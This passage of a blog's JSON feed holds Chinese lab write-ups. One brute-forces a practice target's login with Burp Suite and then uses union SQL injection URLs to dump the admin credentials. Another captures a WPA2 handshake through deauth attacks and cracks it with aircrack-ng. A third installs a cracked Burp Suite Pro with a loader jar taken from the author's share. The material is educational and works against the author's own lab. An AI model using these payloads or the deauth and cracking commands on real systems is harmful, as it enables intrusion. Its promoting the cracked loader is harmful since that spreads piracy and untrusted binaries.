", "author": { "name": "云泽" }, "tags": [ "Linux学习笔记" ], "date_published": "2026-03-27T10:22:51+09:00", "date_modified": "2026-04-23T22:52:26+09:00" }, { "id": "https://old.zeyun.org/sql-part1.html", "url": "https://old.zeyun.org/sql-part1.html", "title": "SQL 注入入门：从暴力破解到 Union 注入（实验记录）", "summary": "环境说明 靶场：本地搭建的 Seafaring 旅行社仿真靶机（靶场镜像下载连接：点我下载） 目标：通过…", "content_html": "
环境说明
\n\n

思路一：直接打开登录界面，使用burp suite自带字典爆破

\n
步骤一：使用burp suite抓取网页请求包
\n

（1）打开之前在安装burp suite的这一篇时候安装的这个浏览器插件，来接管浏览器的流量

\n
\"\"
\n

（2）在burp suite中依次选择框选界面（并且将Intercept设置为on）

\n
\"\"
\n

（3）返回浏览器，输入一些信息，使得burp suite能够拦截到包

\n
\"\"
\n

上图即为抓到包的截图

\n
步骤二：选择需要爆破的内容
\n

（1）回到burp suite，并选择如下的操作

\n
\"\"
\n

（2）打开后会看到这个界面（这就是burp suite所拦截的内容）

\n
\"\"
\n

（3）选择需要爆破的内容（给需要爆破的地方加上$符号）

\n
\"\"
\n

（4）选择攻击模式（为了演示的方便，所以我会手动配置用户名字典，并选择自带的密码来爆破）

\n
\"\"
\n

考虑到我们目前不知道用户名也不知道密码，所以这里我们使用这个模式

\n

不同的爆破模式解释，如下表

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
攻击类型说明适用场景
Sniper (狙击手) 一个字典，逐个位置替换探测漏洞：测单个参数是否有注入或爆破单账号密码
Battering ram (攻城槌)一个字典，同时替换所有位置同步填充：账号和密码必须一模一样时使用
Pitchfork (草叉)多个字典，同步替换\n

 定向爆破：你有已知的“账号:密码”成对名单

\n
Cluster bomb(集束炸弹)多个字典，全排列组合全方位爆破：完全不知道对应关系，尝试所有组合
\n
这里我们的判断是账号密码都不知道，先尝试死磕： 用 Cluster bomb模式
\n
步骤三：添加爆破参数
\n

（1）Payload 1（用户名位置）自己添加用户名字典

\n
\"\"
\n

*注意：组合数量会随字典增大呈爆炸式增长，所以这里我就仅仅添加几个常见的用户名作为演示

\n

（2）Payload 2（密码位置）选择默认的Password字典

\n
\"\"
\n

（3）点击 Start attack 开始爆破（下图为爆破成功的截图）

\n
\"\"
\n

在 Web 安全测试中，绝大多数请求都会失败，所以我们要找的是那个“与众不同”的请求（通常主要看以下几个方面：Length，Status code，Response received / Error中）

\n

含义解释：

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
指标名称观察重点核心目的 (看它代表什么)
Length (长度)找数值突变判断页面内容是否变化：数值不同说明服务器返回了不同的信息（如成功 vs 失败）
Status Code (状态码)找 302 / 200判断请求状态：出现 302 通常代表登录成功并跳转；出现 403/429 说明你被封 IP 了
Response (响应耗时)找异常延迟判断服务器逻辑：在盲注或特定防御下，正确的 Payload 可能会让服务器处理时间明显变长
\n

接下来，这里我们选择的是 Length 选项，也就是不同的行（如下图所示，找最特殊的那一个）

\n
\"\"
\n

可是我们这里并没有找到合适的选项（也就说明了这个password字典里并没有我们需要的正确的密码）所以需要尝试另一种思路

\n

思路二：主动寻找注入漏洞，使用Union联合查询注入

\n
注入原理简介
\n

Union 注入是 SQL 注入中最经典的一种方式。当网站后端直接将用户输入拼接进 SQL 语句时，攻击者可以通过构造 UNION SELECT 语句，将额外的查询结果\"拼接\"到原有结果中一起返回，从而读取数据库中任意表的内容

\n
整体思路
\n
    \n
  1. 寻找注入点
    2. \n
  2. 判断注入类型（字符型 / 整数型）
    3. \n
  3. 确认查询列数（order by）
    4. \n
  4. 使用 Union 联合查询获取数据库信息
    5. \n
  5. 查询目标表的列名
    6. \n
  6. 读取目标数据
    7. \n
\n
步骤一：发现注入点
\n

靶机首页有一个搜索框，随意输入内容后观察 URL 栏，发现搜索内容通过 id 参数传递

\n
\"\"
\n

在地址栏直接输入 id=1，页面正常返回了数据库中的一条记录，内容如下：

\n
array(6) { [0]=> string(1) \"1\" [\"id\"]=> string(1) \"1\" [1]=> string(23) \"SQL injection can occur\" [\"news\"]=> string(23) \"SQL injection can occur\" [2]=> string(10) \"2019-05-30\" [\"pub_date\"]=> string(10) \"2019-05-30\" }
\n

从返回结果可以判断，查询共返回了 3 个字段：id、news、pub_date

\n

*注意：注入测试必须直接在浏览器地址栏输入 URL，不要通过搜索框输入，否则内容会被 URL 编码处理，影响注入效果

\n
步骤二：判断注入类型
\n

在地址栏分别输入以下两条语句，测试是否存在整数型注入

\n
192.168.153.139/search.php?id=1+and+1=1
\n
192.168.153.139/search.php?id=1+and+1=2
\n

*核心思路：用一个永真条件和一个永假条件做对比，根据结果不同间接证明我们写的代码被数据库执行了

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
输入结果
id=1+and+1=1正常返回数据 ✅
id=1+and+1=2返回 NULL
\n

两次结果不同，确认为整数型注入，不需要单引号（如果你分不清这个注入类型，以及这个基础的地址栏的信息咋判断，请点击我跳转基础知识补全）

\n
步骤三：确认查询列数
\n

使用 order by 逐步测试列数，直到返回 NULL：

\n
192.168.153.139/search.php?id=1+order+by+1\n192.168.153.139/search.php?id=1+order+by+2\n192.168.153.139/search.php?id=1+order+by+3\n192.168.153.139/search.php?id=1+order+by+4   ← 此处返回 NULL
\n

结果是，order by 4 返回 NULL，说明查询共有 3 列

\n
\"\"
\n
步骤四：查询当前数据库所有表名
\n

列数确认后，使用 UNION SELECT 联合查询，从 MySQL 系统表 information_schema.tables 中读取当前数据库的所有表名：

\n
192.168.153.139/search.php?id=-1+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema=database()
\n\n\n\n\n\n\n\n\n\n\n\n\n\n
步骤目的关键语句
查所有表名找目标表union select ... from information_schema.tables
\n

参数解释：

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
参数作用
id=-1让原查询不返回结果，只显示 union 注入的内容
group_concat(table_name)将所有表名合并为一行显示
information_schema.tablesMySQL 系统表，存储所有表的信息
table_schema=database()限定在当前数据库中查询
\n

查询后如下显示：

\n
\"\"
\n

返回结果：admin, news
当前数据库共有两张表，其中admin表就存放了我们需要的账号和密码

\n
步骤五：查询 admin 表的列名
\n

从 information_schema.columns 中读取 admin 表的所有字段名：

\n
192.168.153.139/search.php?id=-1+union+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name='admin'
\n\n\n\n\n\n\n\n\n\n\n\n\n\n
步骤目的关键语句
 查列名找目标字段union select ... from information_schema.columns
\n
\"\"
\n

返回结果：user_id, user_name, user_pass（我们需要的数据也就在如此）

\n
步骤六：读取 admin 表中的账号密码
\n

已知列名为 user_name 和 user_pass，所以这里我们直接查询：

\n
192.168.153.139/search.php?id=-1+union+select+1,group_concat(user_name,0x3a,user_pass),3+from+admin
\n\n\n\n\n\n\n\n\n\n\n\n\n\n
步骤目的关键语句
读取数据获取账号密码union select ... from admin
\n
\"\"
\n

返回结果：admin:admin@123 🎉
使用该账号密码成功登录后台

\n
\"\"
\n

Flag也成功找到了

\n
实验总结
\n

这次实验完整走了一遍 Union 注入的流程，最大的收获是理解了为什么要用 id=-1以及为什么列数必须对齐，加上information_schema 这个系统库在注入中的核心作用

\n

另外就是操作上要注意：一定要直接在地址栏输入 URL，不能通过页面的搜索框，否则特殊字符会被编码成HTML显示的字符，注入语句就失效了

\n

至此，本实验到此结束

", "author": { "name": "云泽" }, "tags": [ "网络安全学习笔记" ], "date_published": "2026-03-22T23:07:43+09:00", "date_modified": "2026-05-18T23:19:28+09:00" }, { "id": "https://old.zeyun.org/kali_deciphering_wifi.html", "url": "https://old.zeyun.org/kali_deciphering_wifi.html", "title": "Kali Linux 抓取 WPA2 握手包并进行字典破解（实验记录）", "summary": "免责声明 本文所有实验均在个人搭建的内网测试环境中进行，仅用于学习网络安全技术原理，请勿在未授权的网络环境中进行测试，否则可能涉及违法行为 设备要求 一台装有kali的机器（推荐使用虚拟机） 一个可以监听的网卡（我使用的是RT3070L无线网卡）…", "content_html": "

免责声明

\n
本文所有实验均在个人搭建的内网测试环境中进行，仅用于学习网络安全技术原理，请勿在未授权的网络环境中进行测试，否则可能涉及违法行为
\n

设备要求

\n\n

爆破原理解释

\n

先通过监听模式抓取 WPA2 网络（方法主要针对 WPA2 网络，对 WPA3 基本无效）在设备连接时产生的握手数据包（Handshake），然后利用密码字典对可能的密码逐个进行计算验证。如果计算结果与握手数据匹配，则说明该密码正确（这种方式属于字典暴力破解，因此破解成功率取决于字典内容和计算能力）

\n

破解流程大致如下

\n
    \n
  1. 开启网卡监听模式
    2. \n
  2. 扫描周围 WiFi
    3. \n
  3. 抓取目标 WiFi 的握手包
    4. \n
  4. 使用密码字典进行离线破解
    5. \n
  5. 如果字典中的密码匹配成功，则得到 WiFi 密码
    6. \n
\n

另外说明一点

\n

Kali 自带的密码字典虽然很大，但有两个问题

\n\n

因此在本次实验中，我使用的是自己编写的密码字典 txt 文件

\n

准备工作

\n
Stp1：首先确保在你的网卡连接上虚拟机，并处于监听状态
\n

使用以下命令查看

\n
\"\"
\n

我这里是没有处于监听状态，使用如下命令开启监听

\n

1.先关闭干扰进程

\n
sudo airmon-ng check kill
\n

2.启动监听模式

\n
sudo airmon-ng start wlan0
\n

3.验证是否成功

\n
iwconfig
\n

看到以下的显示，即为正确打开监听模式

\n
\"\"
\n

关闭监听模式（用完记得恢复）

\n
sudo airmon-ng stop wlan0mon\nsudo systemctl start NetworkManager
\n
Stp2：在桌面新建一个文件夹，用于存放抓到的握手包以及密码字典
\n

1.创建文件夹（每个人的文件路径不同，之后的路径也不同，需要注意！）

\n
mkdir /home/kali/桌面/wifi_test
\n

2.创建密码字典

\n
touch /home/kali/桌面/wifi_test/password.txt
\n

3.编辑你自己的密码字典(确保里面有需要爆破的WiFi密码)

\n
\"\"
\n

实战开始

\n
Stp1：扫描周围 WiFi
\n

使用如下命令扫描附近无线网络

\n
sudo airodump-ng wlan0mon
\n

会看到以下情景（下图框选的是本次爆破的 WiFi 名称）

\n
\"\"
\n

需要记录两个信息：BSSID，ESSID，CH（可以复制到一个你记得住的地方，一会要用）

\n

记录完成后按，Ctrt + C 结束扫描

\n
Stp2：开始抓取握手包
\n

输入以下命令，开始抓包

\n
sudo airodump-ng -c 换成你的信道的数字 --bssid 这里替换成你的BSSID -w /home/kali/桌面/wifi_test/handshake wlan0mon
\n

参数解释：

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
参数作用
-c指定信道
--bssid目标 WiFi 的 MAC 地址
-w抓包文件保存路径
\n

如果成功捕获到 WAP 握手包，界面上会出现下图的情况

\n
\"\"
\n

出现上图的 WAP 的信息后，说明抓包成功

\n

也可以和我下图一样，在刚刚创建的文件夹里打开终端

\n
\"\"
\n
原理解释
\n

当设备连接到 WPA2 WiFi 时，客户端与路由器之间会进行一次认证过程，这个过程叫做 4-Way Handshake（四次握手）

\n

简单来说，这个过程的作用是：

\n\n

整个流程大致如下：

\n
    \n
  1. 路由器向客户端发送随机数
    2. \n
  2. 客户端根据 WiFi密码 + 随机数 计算认证信息
    3. \n
  3. 客户端把计算结果发送给路由器
    4. \n
  4. 路由器验证是否正确
    5. \n
\n

如果计算结果正确，设备就可以成功连接 WiFi

\n

在这个过程中，会产生一些认证数据包，这些数据包就是 Handshake（握手包）

\n

需要注意的一点是：

\n

握手包 不会直接包含 WiFi 密码，但它包含了用于验证密码的认证数据

\n

如果你和我一样，等了很久，都没有出现WPA的相关信息，可以强制设备重新连接来获取

\n
强制设备重新连接（如果没抓到包的可以做，之前抓到了，可以跳过此步骤）
\n

如果一直抓不到握手包，可以使用 deauth 攻击让设备重新连接

\n

Ctrl + Shift + T 新开一个终端，输入以下命令：

\n
sudo aireplay-ng -0 10 -a 换成你BSSID的地址 wlan0mon
\n

执行后，连接 WiFi 的设备会被踢下线并重新连接

\n

重新连接时就会产生新的 握手包 （也就是下面的这个红色框的 WPA 信息）

\n
\"\"
\n

当抓到握手包后，可以在抓包终端按 Ctrl + C 结束

\n

如果以上的步骤还是不行，那就直接使用你的手机，断开并重新连接到这个WiFi（这样做100%成功，因为攻击的目的是让手机被动的下线在重连）

\n
参数解释：
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
参数作用
-0deauth攻击
10攻击次数
-a目标MAC
\n
原理解释
\n

在 airodump-ng 界面下方会显示 STATION 列表，这里是已经连接到该 WiFi 的设备 MAC 地址
在使用 aireplay-ng 发送 deauth 时，可以把其中一个设备的 MAC 填入 -c 参数，用于强制该设备断开并重新连接 WiFi，从而触发新的握手包

\n

此时目录下会生成类似文件（如下图所示）

\n
\"\"
\n
stp3:开始字典破解
\n

在这里打开终端

\n
\"\"
\n

接下来使用 aircrack-ng 进行密码破解，命令如下

\n
sudo aircrack-ng -w /home/kali/桌面/wifi_test/password.txt -b 此处换成刚刚获取的BSSID handshake-01.cap
\n

提示：如果你前面的e失败次数较多，那么大概率会有handshake-02.cap这样的包，最终只要选对了正确的包即可

\n
参数解释：
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
参数作用
-w密码字典
\n

-b

\n		目标WiFi BSSID
\n

之后，程序会不断尝试字典中的密码，直至成功

\n

成功后的画面如下（正真的密码我打马赛克了，所以是文字的形式显示的）

\n
\"\"
\n

由于之前的WiFi密码已经包含在内了，所以我这里的速度会很快

\n

至此，本实验到此结束

", "author": { "name": "云泽" }, "tags": [ "网络工具介绍" ], "date_published": "2026-03-14T22:56:35+09:00", "date_modified": "2026-03-15T01:17:52+09:00" }, { "id": "https://old.zeyun.org/install_burpsuite.html", "url": "https://old.zeyun.org/install_burpsuite.html", "title": "安装Burp Suite", "summary": "在Windows上安装 文件下载：点我下载（NAS分享链接，若无法下载，请联系作者：zeyun4699@gmail.com） 文件说明：old文件夹中含老版本的burp suite（为windows7老系统准备的），正常按照我下面的说明，win10/11的安装最新版的即可（这里我使用window11来进行演示） 必要下载文件：除了old文件夹里面的不用下载，其他的4个文件都需要下载，缺一不可…", "content_html": "

在Windows上安装

\n

文件下载：点我下载（NAS分享链接，若无法下载，请联系作者：zeyun4699@gmail.com）

\n
步骤一：下载来自我上传的文件（你会得到步骤二的图片中的几个文件）
\n

文件说明：old文件夹中含老版本的burp suite（为windows7老系统准备的），正常按照我下面的说明，win10/11的安装最新版的即可（这里我使用window11来进行演示）

\n

必要下载文件：除了old文件夹里面的不用下载，其他的4个文件都需要下载，缺一不可

\n
步骤二：双击此文件，安装Java坏境
\n
因为我提供的这个burp suite的版本较新，所以这个需要高版本的Java
\n
\"\"
\n
步骤三：开始安装
\n
\"\"
\n
点击继续（选择文件位置，这里我建议可以更换一个自己记得住的路径）
\n
\"\"
\n
完成安装（这里点击关闭即可）
\n
\"\"
\n
步骤四：配置坏境变量
\n
依次打开：设置，系统，系统信息，高级系统设置
\n
\"\"
\n
选择环境变量选项
\n
\"\"
\n
依次选择下面图片中的选项
\n

*注意：这里的变量名，建议固定为 JAVA_HOME（不是必须，但强烈推荐，可以为后续省去很多不必要的麻烦）

\n
\"\"
\n

最后全部选择“确定”选项

\n
步骤五：配置用户环境变量
\n
按照如下步骤来就行，不要跳步（如果你前面的名称和我一样，那就按照我图片的步骤来即可）
\n
\"\"
\n
将这个环境变量移动至顶部
\n
\"\"
\n
不出意外的话，你配置完，在终端中输入，会显示下图的这个界面
\n
javac
\n
\"\"
\n

至此，坏境变量部分即为配置成功

\n
步骤七：开始安装Burp suite
\n
确认下载的这个ini文件数据是否都为0，如果不是，请手动都改成0
\n
\"\"
\n
在此文件夹中，打开CMD窗口（*注意：后续的激活中，这个CMD命令窗口不要关闭！）
\n
\"\"
\n
在打开的这个CMD窗口中输入以下命令，回车，会打开一个burp suite破解插件的窗口
\n
java -jar burploader.jar
\n
\"\"
\n
勾选第二个，并点击“RUN”
\n
\"\"
\n
如果不出意外，你会自动打开burp suit的界面（如下图所示）
\n
\"\"
\n

如果你要是打不开这个窗口，那么就再次在这个文件夹中打开一个新的CMD窗口（*注意：之前打开的CMD窗口不要关掉！）

\n
输入以下命令，使用终端打开软件
\n
java -jar burpsuite_pro_v2025.9.5.jar
\n
\"\"
\n

使用CMD命令，也是同样的效果，需要确保两个软件都打开（一个破解的插件，另一个是burp suite软件本体）再进行下一步的操作

\n
将左侧的文本复制，粘贴到右侧，随后点击NEXT
\n
\"\"
\n
接下来的步骤中，选择“手动激活”选项
\n
\"\"
\n
继续按照以下步骤操作
\n
\"\"
\n
粘贴完成之后，再次点击NEXT，即可看到激活成功（如下图所示）
\n
\"\"
\n

最后点击Finish结束安装即可

\n
关掉这个窗口之前，请把第一个勾打上（两个都打开也没事）
\n
\"\"
\n
步骤八：后续的准备
\n
可以创建一个快捷方式来打开这个软件
\n
\"\"
\n

或者你也可以写一个脚本，来运行这个软件，效果都一样

\n
步骤九：下载证书
\n

按照下图的步骤配置即可

\n
\"\"
\n

选择下图的框选区域

\n
\"\"
\n

命名要求必须为.der结尾

\n
\"\"
\n

点击保存即可（下图是我的路径，可供参考）

\n
\"\"
\n
步骤十：配置证书
\n
打开浏览器，搜索证书（这里我以最普遍的Edge浏览器来示范，其他的浏览器也是同理）
\n
\"\"
\n
打开这个依次打开如下的选项
\n
\"\"
\n
\"\"
\n
选自刚刚保存的证书路径，找到证书
\n
\"\"
\n

中间证书配置也是如此（和上面的步骤一致，我就不再演示了）

\n
配置好后如下图所示
\n
\"\"
\n
步骤十一：安装浏览器拓展（强烈建议安装这款管理插件，很方便）
\n
安装浏览器拓展： proxy switchyomega
\n
\"\"
\n

点击右上角的“拼图”，打开拓展（可以固定到这里，方便开关）

\n
按照下图步骤配置插件
\n
\"\"
\n
继续按照下图，来进行配置
\n
\"\"
\n

最后选择左下角的“应用选项”，保存即可

\n
步骤十二：该插件使用的指南
\n

*注意：当你选择[burp suite]的时候，浏览器的流量将由burp suite接管，不需要手动去改设置（平时不用的时候，一定要选择[系统代理]，不然会没有网络！）

\n
\"\"
\n

那么以上就是整个burp suite安装过程，感谢您能看到这里

\n

你的肯定是我更新最大的动力(≧∀≦)ゞ

", "author": { "name": "云泽" }, "tags": [ "网络工具介绍" ], "date_published": "2026-03-11T21:35:30+09:00", "date_modified": "2026-05-16T23:22:51+09:00" }, { "id": "https://old.zeyun.org/beautify_about_ubuntu.html", "url": "https://old.zeyun.org/beautify_about_ubuntu.html", "title": "美化Ubuntu", "summary": "在前一章节，我带领大家配置完基础的安装过程，以及换完国内的源等基础的Ubuntu的设置后，接下来我会带领大家实现如下图的美化效果（如下图所示） 如果没看我前一章节的朋友，可以回头看看：点我直达 别担心，本篇文章我会带着从零开始，一步一步地美化这个系统 所需材料来源于Github的大佬们制作的美化包，所以务必请准备好外网环境，如果没有的话，可以使用国内的镜像站（改成bgithub.xyz即可） 剩余内容还在更新中....", "content_html": "

在前一章节，我带领大家配置完基础的安装过程，以及换完国内的源等基础的Ubuntu的设置后，接下来我会带领大家实现如下图的美化效果（如下图所示）

\n

如果没看我前一章节的朋友，可以回头看看：点我直达

\n

别担心，本篇文章我会带着从零开始，一步一步地美化这个系统

\n
\"\"
\n

所需材料来源于Github的大佬们制作的美化包，所以务必请准备好外网环境，如果没有的话，可以使用国内的镜像站（改成bgithub.xyz即可）

\n

剩余内容还在更新中....

", "author": { "name": "云泽" }, "tags": [ "Linux学习笔记" ], "date_published": "2026-03-02T23:01:23+09:00", "date_modified": "2026-03-03T01:34:52+09:00" } ] }